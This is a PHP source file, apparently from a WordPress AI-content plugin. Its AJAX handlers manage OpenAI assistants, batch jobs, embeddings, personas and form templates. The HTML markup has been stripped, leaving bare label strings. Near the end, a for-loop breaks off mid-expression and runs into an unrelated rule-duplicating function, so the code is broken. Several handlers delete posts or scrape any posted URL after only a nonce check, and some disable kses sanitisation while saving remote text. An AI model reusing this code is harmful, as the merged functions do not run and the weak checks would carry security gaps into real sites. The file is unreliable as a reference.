'aiomatic_json', true); if(!empty($json_back)) { $original_temp->post_content = $json_back; } $saved_cards = json_decode($original_temp->post_content, true); if($saved_cards === null) { aiomatic_log_to_file('Decode fail: ' . json_last_error_msg()); $aiomatic_result['msg'] = 'OmniBlock edit template failed to be decoded!'; wp_send_json($aiomatic_result); } $data = get_omniblock_data($saved_cards, $original_temp); $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = $data; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_get_assistant', 'aiomatic_get_assistant_ajax'); function aiomatic_get_assistant_ajax() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with singular assistant getting'); if(!isset($_POST['assistantid'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); $original_assistant = get_post($_POST['assistantid'], ARRAY_A); if($original_assistant == null) { $aiomatic_result['msg'] = 'Assistant id was not found!'; wp_send_json($aiomatic_result); } $code_interpreter = false; $file_search = false; $functions = []; $tools = get_post_meta($original_assistant['ID'], '_assistant_tools', true); if(!empty($tools)) { foreach($tools as $tool) { if($tool['type'] == 'code_interpreter') { $code_interpreter = true; } elseif($tool['type'] == 'file_search') { $file_search = true; } elseif($tool['type'] == 'function') { $functions[] = $tool['function']; } } } $assistant_first_message = get_post_meta($original_assistant['ID'], '_assistant_first_message', true); $assistant_model = get_post_meta($original_assistant['ID'], '_assistant_model', true); $assistant_files = get_post_meta($original_assistant['ID'], '_assistant_files', true); $assistant_id = get_post_meta($original_assistant['ID'], '_assistant_id', true); $temperature = get_post_meta($original_assistant['ID'], '_assistant_temperature', true); $topp = get_post_meta($original_assistant['ID'], '_assistant_topp', true); $vector_store_id = get_post_meta($original_assistant['ID'], '_assistant_vector_store_id', true); $original_assistant['code_interpreter'] = $code_interpreter; $original_assistant['file_search'] = $file_search; $original_assistant['functions'] = $functions; $original_assistant['assistant_first_message'] = $assistant_first_message; $original_assistant['assistant_model'] = $assistant_model; $original_assistant['assistant_files'] = $assistant_files; $original_assistant['assistant_id'] = $assistant_id; $original_assistant['temperature'] = $temperature; $original_assistant['topp'] = $topp; $original_assistant['vector_store_id'] = $vector_store_id; $original_assistant['featured_image'] = get_post_thumbnail_id($original_assistant['ID']); if($original_assistant['featured_image'] === false) { $original_assistant['featured_image'] = 0; } $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $original_assistant; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_get_batch', 'aiomatic_get_batch_ajax'); function aiomatic_get_batch_ajax() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with singular batch getting'); if(!isset($_POST['batchid'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); $original_batch = get_post($_POST['batchid'], ARRAY_A); if($original_batch == null) { $aiomatic_result['msg'] = 'Batch id was not found!'; wp_send_json($aiomatic_result); } $batch_id = get_post_meta($_POST['batchid'], '_batch_id', true); $batch_endpoint = get_post_meta($_POST['batchid'], '_batch_endpoint', true); $batch_completion_window = get_post_meta($_POST['batchid'], '_batch_completion_window', true); $batch_errors = get_post_meta($_POST['batchid'], '_batch_errors', true); $batch_input_file_id = get_post_meta($_POST['batchid'], '_batch_input_file_id', true); $batch_status = get_post_meta($_POST['batchid'], '_batch_status', true); $batch_output_file_id = get_post_meta($_POST['batchid'], '_batch_output_file_id', true); $batch_created_at = get_post_meta($_POST['batchid'], '_batch_created_at', true); $batch_in_progress_at = get_post_meta($_POST['batchid'], '_batch_in_progress_at', true); $batch_expires_at = get_post_meta($_POST['batchid'], '_batch_expires_at', true); $batch_finalizing_at = get_post_meta($_POST['batchid'], '_batch_finalizing_at', true); $batch_completed_at = get_post_meta($_POST['batchid'], '_batch_completed_at', true); $batch_failed_at = get_post_meta($_POST['batchid'], '_batch_failed_at', true); $batch_expired_at = get_post_meta($_POST['batchid'], '_batch_expired_at', true); $batch_cancelling_at = get_post_meta($_POST['batchid'], '_batch_cancelling_at', true); $batch_cancelled_at = get_post_meta($_POST['batchid'], '_batch_cancelled_at', true); $batch_request_count = get_post_meta($_POST['batchid'], '_batch_request_count', true); $batch_request_completed = get_post_meta($_POST['batchid'], '_batch_request_completed', true); $batch_request_failed = get_post_meta($_POST['batchid'], '_batch_request_failed', true); $batch_error_file_id = get_post_meta($_POST['batchid'], '_batch_error_file_id', true); $original_batch['batch_endpoint'] = $batch_endpoint; $original_batch['batch_id'] = $batch_id; $original_batch['batch_completion_window'] = $batch_completion_window; $original_batch['batch_errors'] = $batch_errors; $original_batch['batch_input_file_id'] = $batch_input_file_id; $original_batch['batch_status'] = $batch_status; $original_batch['batch_output_file_id'] = $batch_output_file_id; $original_batch['batch_expires_at'] = $batch_expires_at; $original_batch['batch_created_at'] = $batch_created_at; $original_batch['batch_in_progress_at'] = $batch_in_progress_at; $original_batch['batch_cancelling_at'] = $batch_cancelling_at; $original_batch['batch_cancelled_at'] = $batch_cancelled_at; $original_batch['batch_finalizing_at'] = $batch_finalizing_at; $original_batch['batch_completed_at'] = $batch_completed_at; $original_batch['batch_failed_at'] = $batch_failed_at; $original_batch['batch_expired_at'] = $batch_expired_at; $original_batch['batch_request_count'] = $batch_request_count; $original_batch['batch_request_failed'] = $batch_request_failed; $original_batch['batch_request_completed'] = $batch_request_completed; $original_batch['batch_error_file_id'] = $batch_error_file_id; $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $original_batch; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_cancel_batch', 'aiomatic_cancel_batch_ajax'); function aiomatic_cancel_batch_ajax() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with singular batch cancel'); if(!isset($_POST['batchid'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); $batch_id = $_POST['batchid']; $open_batch_id = get_post_meta($batch_id, '_batch_id', true); if(empty($open_batch_id)) { $aiomatic_result['msg'] = 'Batch ID not found in the database!'; wp_send_json($aiomatic_result); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'You need to add an API key in plugin settings for this shortcode to work.'; wp_send_json($aiomatic_result); } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(empty($token)) { $aiomatic_result['msg'] = 'Invalid API key submitted'; wp_send_json($aiomatic_result); } } require_once (dirname(__FILE__) . "/res/aiomatic-batch-api.php"); try { $batch = aiomatic_openai_cancel_batch($token, $open_batch_id); if(!isset($batch['id'])) { throw new Exception('Incorrect response from batch cancelling: ' . print_r($batch, true)); } else { $original_batch = get_post($batch_id, ARRAY_A); if($original_batch == null) { $aiomatic_result['msg'] = 'Batch Request id was not found!'; wp_send_json($aiomatic_result); } $batch_data = array( 'post_type' => 'aiomatic_batches', 'post_title' => $batch['id'], 'post_status' => 'publish', 'ID' => $original_batch['ID'] ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $local_batch_id = wp_update_post($batch_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($local_batch_id)) { $aiomatic_result['msg'] = $local_batch_id->get_error_message(); } elseif($local_batch_id === 0) { $aiomatic_result['msg'] = 'Failed to update assistant to database: ' . $assistant['name']; } else { update_post_meta($local_batch_id, '_batch_id', $batch['id']); update_post_meta($local_batch_id, '_batch_endpoint', $batch['endpoint']); update_post_meta($local_batch_id, '_batch_completion_window', $batch['completion_window']); update_post_meta($local_batch_id, '_batch_errors', $batch['errors']); update_post_meta($local_batch_id, '_batch_input_file_id', $batch['input_file_id']); update_post_meta($local_batch_id, '_batch_status', $batch['status']); update_post_meta($local_batch_id, '_batch_output_file_id', $batch['output_file_id']); update_post_meta($local_batch_id, '_batch_created_at', $batch['created_at']); update_post_meta($local_batch_id, '_batch_in_progress_at', $batch['in_progress_at']); update_post_meta($local_batch_id, '_batch_expires_at', $batch['expires_at']); update_post_meta($local_batch_id, '_batch_finalizing_at', $batch['finalizing_at']); update_post_meta($local_batch_id, '_batch_completed_at', $batch['completed_at']); update_post_meta($local_batch_id, '_batch_failed_at', $batch['failed_at']); update_post_meta($local_batch_id, '_batch_expired_at', $batch['expired_at']); update_post_meta($local_batch_id, '_batch_cancelling_at', $batch['cancelling_at']); update_post_meta($local_batch_id, '_batch_cancelled_at', $batch['cancelled_at']); update_post_meta($local_batch_id, '_batch_request_count', $batch['request_counts']['total']); update_post_meta($local_batch_id, '_batch_request_completed', $batch['request_counts']['completed']); update_post_meta($local_batch_id, '_batch_request_failed', $batch['request_counts']['failed']); update_post_meta($local_batch_id, '_batch_error_file_id', $batch['error_file_id']); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $local_batch_id; } } } catch(Exception $e) { $aiomatic_result['msg'] = 'Exception in batch cancelling: ' . $e->getMessage(); wp_send_json($aiomatic_result); } $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $batch; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_sync_assistant', 'aiomatic_sync_assistant_ajax'); function aiomatic_sync_assistant_ajax() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with singular assistant sync'); if(!isset($_POST['assistantid'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); $original_assistant = get_post($_POST['assistantid'], ARRAY_A); if($original_assistant == null) { $aiomatic_result['msg'] = 'Assistant id was not found!'; wp_send_json($aiomatic_result); } $ass_id = get_post_meta($original_assistant['ID'], '_assistant_id', true); if(empty($ass_id)) { $aiomatic_result['msg'] = 'OpenAI assistant id was not found!'; wp_send_json($aiomatic_result); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'You need to add an API key in plugin settings for this shortcode to work.'; wp_send_json($aiomatic_result); } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(empty($token)) { $aiomatic_result['msg'] = 'Invalid API key submitted'; wp_send_json($aiomatic_result); } } require_once (dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); try { $assistant = aiomatic_openai_retrieve_assistant($token, $ass_id); if(!isset($assistant['id'])) { throw new Exception('Incorrect response from assistant grabbing: ' . print_r($assistant, true)); } } catch(Exception $e) { $aiomatic_result['msg'] = 'Exception in assistant grabbing: ' . $e->getMessage(); wp_send_json($aiomatic_result); } if(empty($assistant['name'])) { $assistant['name'] = 'Untitled Assistant'; } if(empty($assistant['instructions'])) { $assistant['instructions'] = ''; } if(empty($assistant['description'])) { $assistant['description'] = ''; } $assistant_data = array( 'post_type' => 'aiomatic_assistants', 'post_title' => $assistant['name'], 'post_content' => $assistant['instructions'], 'post_excerpt' => $assistant['description'], 'post_status' => 'publish', 'ID' => $original_assistant['ID'] ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $local_assistant_id = wp_update_post($assistant_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($local_assistant_id)) { $aiomatic_result['msg'] = $local_assistant_id->get_error_message(); } elseif($local_assistant_id === 0) { $aiomatic_result['msg'] = 'Failed to update assistant to database: ' . $assistant['name']; } else { update_post_meta($local_assistant_id, '_assistant_model', $assistant['model']); update_post_meta($local_assistant_id, '_assistant_tools', (array) $assistant['tools']); $file_ids = array(); if(isset($assistant['tool_resources']['code_interpreter']['file_ids'][0])) { $file_ids = $assistant['tool_resources']['code_interpreter']['file_ids']; } update_post_meta($local_assistant_id, '_assistant_files', $file_ids); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $local_assistant_id; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_sync_batch', 'aiomatic_sync_batch_ajax'); function aiomatic_sync_batch_ajax() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with singular batch request sync'); if(!isset($_POST['batchid'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); $original_batch = get_post($_POST['batchid'], ARRAY_A); if($original_batch == null) { $aiomatic_result['msg'] = 'Batch Request id was not found!'; wp_send_json($aiomatic_result); } $batch_id = get_post_meta($original_batch['ID'], '_batch_id', true); if(empty($batch_id)) { $aiomatic_result['msg'] = 'OpenAI Batch Request id was not found!'; wp_send_json($aiomatic_result); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'You need to add an API key in plugin settings for this shortcode to work.'; wp_send_json($aiomatic_result); } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(empty($token)) { $aiomatic_result['msg'] = 'Invalid API key submitted'; wp_send_json($aiomatic_result); } } require_once (dirname(__FILE__) . "/res/aiomatic-batch-api.php"); try { $batch = aiomatic_openai_retrieve_batch($token, $batch_id); if(!isset($batch['id'])) { throw new Exception('Incorrect response from batch grabbing: ' . print_r($batch, true)); } } catch(Exception $e) { $aiomatic_result['msg'] = 'Exception in batch grabbing: ' . $e->getMessage(); wp_send_json($aiomatic_result); } $batch_data = array( 'post_type' => 'aiomatic_batches', 'post_title' => $batch['id'], 'post_status' => 'publish', 'ID' => $original_batch['ID'] ); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $local_batch_id = wp_update_post($batch_data); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($local_batch_id)) { $aiomatic_result['msg'] = $local_batch_id->get_error_message(); } elseif($local_batch_id === 0) { $aiomatic_result['msg'] = 'Failed to update assistant to database: ' . $assistant['name']; } else { update_post_meta($local_batch_id, '_batch_id', $batch['id']); update_post_meta($local_batch_id, '_batch_endpoint', $batch['endpoint']); update_post_meta($local_batch_id, '_batch_completion_window', $batch['completion_window']); update_post_meta($local_batch_id, '_batch_errors', $batch['errors']); update_post_meta($local_batch_id, '_batch_input_file_id', $batch['input_file_id']); update_post_meta($local_batch_id, '_batch_status', $batch['status']); update_post_meta($local_batch_id, '_batch_output_file_id', $batch['output_file_id']); update_post_meta($local_batch_id, '_batch_created_at', $batch['created_at']); update_post_meta($local_batch_id, '_batch_in_progress_at', $batch['in_progress_at']); update_post_meta($local_batch_id, '_batch_expires_at', $batch['expires_at']); update_post_meta($local_batch_id, '_batch_finalizing_at', $batch['finalizing_at']); update_post_meta($local_batch_id, '_batch_completed_at', $batch['completed_at']); update_post_meta($local_batch_id, '_batch_failed_at', $batch['failed_at']); update_post_meta($local_batch_id, '_batch_expired_at', $batch['expired_at']); update_post_meta($local_batch_id, '_batch_cancelling_at', $batch['cancelling_at']); update_post_meta($local_batch_id, '_batch_cancelled_at', $batch['cancelled_at']); update_post_meta($local_batch_id, '_batch_request_count', $batch['request_counts']['total']); update_post_meta($local_batch_id, '_batch_request_completed', $batch['request_counts']['completed']); update_post_meta($local_batch_id, '_batch_request_failed', $batch['request_counts']['failed']); update_post_meta($local_batch_id, '_batch_error_file_id', $batch['error_file_id']); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $local_batch_id; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_persona', 'aiomatic_delete_persona'); function aiomatic_delete_persona() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with singular persona deletion'); if(!isset($_POST['personaid'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $_POST['personaid']; $aiomatic_result['msg'] = 'Success'; wp_delete_post($_POST['personaid']); } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_download_embeddings', 'aiomatic_download_embeddings'); function aiomatic_download_embeddings() { global $wpdb; $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with embedding downloading'); check_ajax_referer('openai-ajax-nonce', 'nonce'); $ids = $wpdb->get_results("SELECT ID FROM ".$wpdb->posts." WHERE post_type='aiomatic_embeddings'"); $ids = wp_list_pluck($ids,'ID'); $ret_arr = array(); if(count($ids)) { foreach($ids as $my_postid) { $content_post = get_post($my_postid); if(isset($content_post->post_content)) { $ret_arr[] = array($content_post->post_content); } } if(count($ret_arr) > 0) { $aiomatic_result['status'] = 'success'; $aiomatic_result['rows'] = $ret_arr; } else { $aiomatic_result['msg'] = 'No embeddings can be downloaded.'; } } else { $aiomatic_result['msg'] = 'No embeddings found to download.'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_get_form', 'aiomatic_get_form'); function aiomatic_get_form() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with form getting'); if(isset($_POST['id']) && !empty($_POST['id'])){ $aiomatic_form = get_post(sanitize_text_field($_POST['id'])); if($aiomatic_form) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $prompt = get_post_meta($aiomatic_form->ID, 'prompt', true); $assistant_id = get_post_meta($aiomatic_form->ID, 'assistant_id', true); if(empty($assistant_id)) { $assistant_id = ''; } $model = get_post_meta($aiomatic_form->ID, 'model', true); $header = get_post_meta($aiomatic_form->ID, 'header', true); $editor = get_post_meta($aiomatic_form->ID, 'editor', true); $advanced = get_post_meta($aiomatic_form->ID, 'advanced', true); $submit = get_post_meta($aiomatic_form->ID, 'submit', true); $max = get_post_meta($aiomatic_form->ID, 'max', true); $temperature = get_post_meta($aiomatic_form->ID, 'temperature', true); $topp = get_post_meta($aiomatic_form->ID, 'topp', true); $presence = get_post_meta($aiomatic_form->ID, 'presence', true); $frequency = get_post_meta($aiomatic_form->ID, 'frequency', true); $response = get_post_meta($aiomatic_form->ID, 'response', true); $type = get_post_meta($aiomatic_form->ID, 'type', true); $streaming_enabled = get_post_meta($aiomatic_form->ID, 'streaming_enabled', true); $aiomaticfields = get_post_meta($aiomatic_form->ID, '_aiomaticfields', true); if(!is_array($aiomaticfields)) { $aiomaticfields = array(); } $aiomaticfields = array_values($aiomaticfields); $result = '

            ' . esc_html__("Input Fields", 'aiomatic-automatic-ai-content-writer') . ':

            ' . esc_html__("Hide Input Fields", 'aiomatic-automatic-ai-content-writer') . '


            '; foreach($aiomaticfields as $inx => $aifield) { $result .= '
            Label*
            ' . esc_html__("Set the input field Label (textual hint).", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("ID*", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("Set the input field ID. This is important, as you will be able to get the value entered by users on the front end for this input field, using this ID. You will be able to use this in the 'Prompt' settings field from below, in the following format: %%ID_YOU_ENTER_HERE%%.", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("You can add the value of this field to the form prompt from below, using this shortcode", 'aiomatic-automatic-ai-content-writer') . ': %%my_unique_input_id%%
            ' . esc_html__("Required*", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("Set this input field as required (form cannot be submitted unless this is filled up).", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("Max Character Input Limit", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("Min", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("Max", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("Rows", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("Cols", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("Options", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("Predefined Value", 'aiomatic-automatic-ai-content-writer') . '
            ' . esc_html__("Move Up", 'aiomatic-automatic-ai-content-writer') . '  ' . esc_html__("Move Down", 'aiomatic-automatic-ai-content-writer') . '  ' . esc_html__("Delete", 'aiomatic-automatic-ai-content-writer') . '  ' . esc_html__("Duplicate", 'aiomatic-automatic-ai-content-writer') . '
            '; } $result .= '

            ' . esc_html__("Form Options", 'aiomatic-automatic-ai-content-writer') . ':

            ' . esc_html__("Type*", 'aiomatic-automatic-ai-content-writer') . ':
            ' . esc_html__("Set the type of this form.", 'aiomatic-automatic-ai-content-writer') . '


            ' . esc_html__("Title*", 'aiomatic-automatic-ai-content-writer') . ':
            ' . esc_html__("Set the title of this form.", 'aiomatic-automatic-ai-content-writer'). '


            ' . esc_html__("Description", 'aiomatic-automatic-ai-content-writer') . ':
            ' . esc_html__("Set the description of this form.", 'aiomatic-automatic-ai-content-writer') . '


            ' . esc_html__("Prompt*", 'aiomatic-automatic-ai-content-writer') . ':
            ' . esc_html__("Set the prompt which will be sent to the AI content writer. You can use shortcodes to get the input values entered by users in the form. The shortcodes need to be in the following format: %%ID_of_the_input_field%%", 'aiomatic-automatic-ai-content-writer') . '


            ' . esc_html__("Sample Response", 'aiomatic-automatic-ai-content-writer') . ':
            ' . esc_html__("Set an example response for this form, this can be shown to users.", 'aiomatic-automatic-ai-content-writer') . '


            ' . esc_html__("AI Model Options", 'aiomatic-automatic-ai-content-writer') . ':

            ' . esc_html__("AI Assistant ID*", 'aiomatic-automatic-ai-content-writer') . ':
            ' . esc_html__("Select the AI assistant to be used for this form.", 'aiomatic-automatic-ai-content-writer') . '


            ' . esc_html__("AI Model*", 'aiomatic-automatic-ai-content-writer') . ':
            ' . esc_html__("Select the AI model to be used for this form.", 'aiomatic-automatic-ai-content-writer') . '


            ' . esc_html__("Response Streaming*", 'aiomatic-automatic-ai-content-writer') . ':
            ' . esc_html__("Select if you want to enable response streaming for your AI form.", 'aiomatic-automatic-ai-content-writer') . '




            ' . esc_html__("Max Token Count", 'aiomatic-automatic-ai-content-writer') . ':
            ' . esc_html__("Set the AI maximum token count of this form.", 'aiomatic-automatic-ai-content-writer') . '


            ' . esc_html__("Temperature", 'aiomatic-automatic-ai-content-writer') . ':
            ' . esc_html__("Set the AI temperature of this form.", 'aiomatic-automatic-ai-content-writer') . '


            ' . esc_html__("Top_p", 'aiomatic-automatic-ai-content-writer') . ':
            ' . esc_html__("Set the AI top_p parameter of this form.", 'aiomatic-automatic-ai-content-writer') . '


            ' . esc_html__("Presence Penalty", 'aiomatic-automatic-ai-content-writer') . ':
            ' . esc_html__("Set the AI presence penalty parameter of this form.", 'aiomatic-automatic-ai-content-writer') . '


            ' . esc_html__("Frequency Penalty", 'aiomatic-automatic-ai-content-writer') . ':
            ' . esc_html__("Set the AI frequency penalty parameter of this form.", 'aiomatic-automatic-ai-content-writer') . '


            ' . esc_html__("Front End Options", 'aiomatic-automatic-ai-content-writer') . ':

            ' . esc_html__("Show Header On Front End*", 'aiomatic-automatic-ai-content-writer') . ':
            ' . esc_html__("Select if you want to show the form header to users.", 'aiomatic-automatic-ai-content-writer') . '

            '; $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $result; } else{ $aiomatic_result['msg'] = 'Form not found'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_scrape_url_embeddings', 'aiomatic_scrape_url_embeddings'); function aiomatic_scrape_url_embeddings() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with embeddings scraping'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['xurl'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $file_data = aiomatic_scrape_page(trim($_POST['xurl']), '0', 'auto', ''); if($file_data === false) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; require_once(dirname(__FILE__) . "/res/Embeddings.php"); $embdedding = new Aiomatic_Embeddings($token); $aiomatic_result = $embdedding->aiomatic_create_single_embedding_nojson(stripslashes($file_data)); } } else { $aiomatic_result['msg'] = 'Please set up API key'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_embeddings_upload', 'aiomatic_embeddings_upload'); function aiomatic_embeddings_upload() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with embeddings uploading'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['xfile'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; require_once(dirname(__FILE__) . "/res/Embeddings.php"); $embdedding = new Aiomatic_Embeddings($token); $aiomatic_result = $embdedding->aiomatic_create_embeddings(stripslashes($_POST['xfile'])); } else { $aiomatic_result['msg'] = 'Please set up API key'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_deleteall_embedding', 'aiomatic_deleteall_embedding'); function aiomatic_deleteall_embedding() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with general embeddings deletion'); check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; require_once(dirname(__FILE__) . "/res/Embeddings.php"); $embdedding = new Aiomatic_Embeddings($token); $aiomatic_result = $embdedding->aiomatic_deleteall_embeddings(); } else { $aiomatic_result['msg'] = 'Please set up API key for embeddings'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_selected_embedding', 'aiomatic_delete_selected_embedding'); function aiomatic_delete_selected_embedding() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with embeddings deletion'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['ids'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { if(count($_POST['ids'])) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; require_once(dirname(__FILE__) . "/res/Embeddings.php"); $embdedding = new Aiomatic_Embeddings($token); $aiomatic_result = $embdedding->aiomatic_delete_embeddings_ids($_POST['ids']); } else { $aiomatic_result['msg'] = 'Please set up API key for embeddings deletion'; } } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_erase_action', 'aiomatic_erase_action'); function aiomatic_erase_action() { check_ajax_referer('openai-run-nonce', 'nonce'); $param = ''; if(isset($_POST['id'])) { $param = $_POST['id']; } else { aiomatic_log_to_file('Incorrect POST request sent'); echo 'fail'; die(); } $rules = get_option('aiomatic_omni_list', array()); if (!empty($rules)) { $found = 0; $cont = 0; $main_keywords = ''; foreach ($rules as $request => $bundle[]) { if ($cont == $param) { $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$ijidelete('aiomatic_rules_list', 'options'); if (!get_option('aiomatic_rules_list')) { $rules = array(); } else { $rules = get_option('aiomatic_rules_list'); } if (!empty($rules)) { $found = 0; $cont = 0; foreach ($rules as $request => $bundle[]) { if ($cont == $del_id) { $copy_bundle = $rules[$request]; $copy_bundle[2] = '1988-01-27 00:00:00'; $copy_bundle[109] = uniqid('', true); $rules[] = $copy_bundle; $found = 1; break; } $cont = $cont + 1; } if($found == 0) { aiomatic_log_to_file('aiomatic_rules_list index not found: ' . $del_id); echo 'nochange'; die(); } else { update_option('aiomatic_rules_list', $rules, false); echo 'ok'; die(); } } else { aiomatic_log_to_file('aiomatic_rules_list empty!'); echo 'nochange'; die(); } } elseif($type == 1) { $GLOBALS['wp_object_cache']->delete('aiomatic_youtube_list', 'options'); if (!get_option('aiomatic_youtube_list')) { $rules = array(); } else { $rules = get_option('aiomatic_youtube_list'); } if (!empty($rules)) { $found = 0; $cont = 0; foreach ($rules as $request => $bundle[]) { if ($cont == $del_id) { $copy_bundle = $rules[$request]; $copy_bundle[2] = '1988-01-27 00:00:00'; $copy_bundle[97] = uniqid('', true); $rules[] = $copy_bundle; $found = 1; break; } $cont = $cont + 1; } if($found == 0) { aiomatic_log_to_file('aiomatic_youtube_list index not found: ' . $del_id); echo 'nochange'; die(); } else { update_option('aiomatic_youtube_list', $rules, false); echo 'ok'; 